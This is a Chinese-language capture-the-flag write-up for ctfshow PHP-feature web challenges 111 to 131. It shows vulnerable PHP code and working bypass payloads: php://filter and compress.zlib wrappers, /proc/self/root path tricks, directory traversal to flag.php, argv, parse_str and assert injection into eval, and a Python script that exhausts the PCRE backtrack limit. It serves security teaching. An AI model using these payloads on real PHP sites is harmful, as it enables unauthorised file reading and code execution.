ctfshow-web入门-php特性(中)

web111(全局变量和$GLOBALS)

 
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET[‘v1‘]) && isset($_GET[‘v2‘])){
    $v1 = $_GET[‘v1‘];
    $v2 = $_GET[‘v2‘];

    if(preg_match(‘/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\‘|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/‘, $v1)){
            die("error v1");
    }
    if(preg_match(‘/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\‘|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/‘, $v2)){
            die("error v2");
    }
    
    if(preg_match(‘/ctfshow/‘, $v1)){
            getFlag($v1,$v2);
    }
    

    


}

?>
$GOLBALS 负责引用全局作用域中可用的全部变量
例如
$a=123;
$b=456;
var_dump($GLOBALS);

因此我们只需要把 $GOLBALS 的值赋给 v2 , v2 的值再赋给 v1 即可
payload:v1=ctfshow&v2=GOLBALS

web112(is_file绕过)

 
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match(‘/\.\.\/|http|https|data|input|rot13|base64|string/i‘,$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET[‘file‘];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
is_file函数
is_file() 函数检查指定的文件是否是常规的文件。

语法
is_file(file)
①直接使用伪协议读取
paylaod:file=php://filter/resource=flag.php
        file=compress.zlib://flag.php

②加上未被过滤的编码方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
        file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113(/proc/self/root绕过is_file)

 
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match(‘/filter|\.\.\/|http|https|data|data|rot13|base64|string/i‘,$file)){
        die(‘hacker!‘);
    }else{
        return $file;
    }
}
$file=$_GET[‘file‘];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
①/proc/self/rootd多重绕过
payload:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

②伪协议
payload:file=compress.zlib://flag.php

web114(filter协议利用)

 
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match(‘/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i‘,$file)){
        die(‘hacker!‘);
    }else{
        return $file;
    }
}
$file=$_GET[‘file‘];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
file=php://filter/resource=flag.php

web115(trim+is_numeric绕过)

 
include(‘flag.php‘);
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET[‘num‘];
if(is_numeric($num) and $num!==‘36‘ and trim($num)!==‘36‘ and filter($num)==‘36‘){
    if($num==‘36‘){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}
trim() 函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符

用法
trim(string,charlist)
trim+is_numeric过滤之后只会留下 换页符(%0c) 和 + - 两个符号
payload:num=%0c36

web123(CLI绕过)

 
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER[‘argv‘];
$c=$_POST[‘fun‘];
if(isset($_POST[‘CTF_SHOW‘])&&isset($_POST[‘CTF_SHOW.COM‘])&&!isset($_GET[‘fl0g‘])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\‘|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>
1、cli模式(命令行)下

    第一个参数$_SERVER[‘argv‘][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

    在web页模式下必须在php.ini开启register_argc_argv配置项
    
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用
经过测试 模拟传参
<?php
function curl($url,$data){
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $response = curl_exec($ch);
    curl_close($ch);
    return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) { 
    for ($j=0; $j <=128 ; $j++) {
            $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
                if(curl($url,$data)!=0){
                    echo $data."\n"; 
                }
           }
       }

得到结果为 CTF%5BSHOW.COM=1

某大佬的总结

 
CLI模式下直接把 request info ??的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125(同上)

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER[‘argv‘];
$c=$_POST[‘fun‘];
if(isset($_POST[‘CTF_SHOW‘])&&isset($_POST[‘CTF_SHOW.COM‘])&&!isset($_GET[‘fl0g‘])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\‘|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>
payload:
1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126(同上)

 
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER[‘argv‘];
$c=$_POST[‘fun‘];
if(isset($_POST[‘CTF_SHOW‘])&&isset($_POST[‘CTF_SHOW.COM‘])&&!isset($_GET[‘fl0g‘])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\‘|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
①payload
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

②payload
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127(waf测试)

 
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER[‘QUERY_STRING‘];


//特殊字符检测
function waf($url){
    if(preg_match(‘/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\‘|\"|\<|\,|\>|\.|\\\|\//‘, $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show===‘ilove36d‘){
    echo $flag;
}
经过测试
<?php
function curl($url){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    return strlen($result);
}
for ($i=0; $i < 128; $i++) { 
    $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
    if(curl($url)!==0){
        echo urlencode(chr($i))."\n";
    }
}
我们发现
ctf   + _ [ .    show 等同于 ctf_show
payload:
ctf show=ilove36d

web128(gettext拓展的使用)

 
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET[‘f1‘];
$f2 = $_GET[‘f2‘];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match(‘/[0-9]|[a-z]/i‘, $str);
}
gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()

get_defined_vars — 返回由所有已定义变量所组成的数组
payload:f1=_&f2=get_defined_vars

web129(目录穿越)

 
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET[‘f‘])){
    $f = $_GET[‘f‘];
    if(stripos($f, ‘ctfshow‘)>0){
        echo readfile($f);
    }
}
stripos函数
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

语法
stripos(string,find,start)
①目录穿越
payload:
f=/ctfshow/../../../../var/www/html/flag.php

②伪协议
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130(正则回溯)

 
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST[‘f‘])){
    $f = $_POST[‘f‘];

    if(preg_match(‘/.+?ctfshow/is‘, $f)){
        die(‘bye!‘);
    }
    if(stripos($f, ‘ctfshow‘) === FALSE){
        die(‘bye!!‘);
    }

    echo $flag;

}
①payload:
POST:f=ctfshow

②正则回溯
payload:
import requests
url="http://192fae89-42a3-4ca8-945b-3901a4eaab40.chall.ctf.show/"
data={
    ‘f‘:‘very‘*250000+‘ctfshow‘
}
r=requests.post(url,data=data)
print(r.text)

web131(正则回溯)

 
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST[‘f‘])){
    $f = (String)$_POST[‘f‘];

    if(preg_match(‘/.+?ctfshow/is‘, $f)){
        die(‘bye!‘);
    }
    if(stripos($f,‘36Dctfshow‘) === FALSE){
        die(‘bye!!‘);
    }

    echo $flag;

}

payload 同130

 

深悉正则(pcre)最大回溯/递归限制

 

ctfshow-web入门-php特性(中)

上一篇:PHP生成txt文件


下一篇:全网最硬核PHP面试题来了 2021年学习面试跳槽必备(一)